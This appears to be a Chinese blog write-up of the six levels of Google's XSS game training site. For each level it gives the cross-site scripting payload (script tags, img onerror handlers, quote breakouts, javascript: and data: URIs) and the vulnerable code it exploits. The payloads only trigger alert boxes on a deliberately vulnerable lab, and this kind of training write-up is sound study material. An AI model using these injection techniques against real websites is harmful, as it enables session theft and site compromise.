XSS game -xss学习

网址

https://xss-game.appspot.com/level1

Level 1: Hello, world of XSS

payload:

<script> alert(1); </script>

漏洞产生处:

message = "Sorry, no results were found for <b>" + query + "</b>."

Level 2: Persistence is key

payload:

<img src=1 onerror=alert(1);>

漏洞产生处:

html += "<blockquote>" + posts[i].message + "</blockquote";

blockquote 标签之间的所有文本都会从常规文本中分离出来,块引用拥有它们自己的空间。
<script> 执行不了那就换个标签。

Level 3: That sinking feeling…

payload:

'onerror=alert(1);>

漏洞产生处:

var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";

利用单引号闭合绕过。

Level 4:Context matters

payload:

3'*alert(1));//

漏洞产生处:
很明确,用单引号闭合,然后再乘 alert(1) ,那么这样的话它会先执行 alert(1),然后再把返回值执行 startTimer

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

Level 5: Breaking protocol

payload:

signup?next=javascript:alert()			//之后点击 next 链接
或者
confirm?next=javascript:alert()

在这里插入图片描述
漏洞产生处:
level.py 处可以看到传了一个 next 参数到 signup.html 处。
在这里插入图片描述
这边可以用 javascript: 伪协议执行 js 语句
在这里插入图片描述
当然直接 confirm?next=javascript:alert() 也是可以的。
在这里插入图片描述
这边也可以用 javascript: 伪协议执行 js 语句。
在这里插入图片描述

Level 6: Follow the 🐇

payload:

https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('XSS')

漏洞产生处:
index.html 中可以看出 url 格式的要求

  1. https 开头
  2. 获取的是 # 后面的 url

在这里插入图片描述

在这里插入图片描述
onload 会加载 js 文件并执行,那么我们可不可以利用 data 伪协议直接加载 js 代码,答案是可以的。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值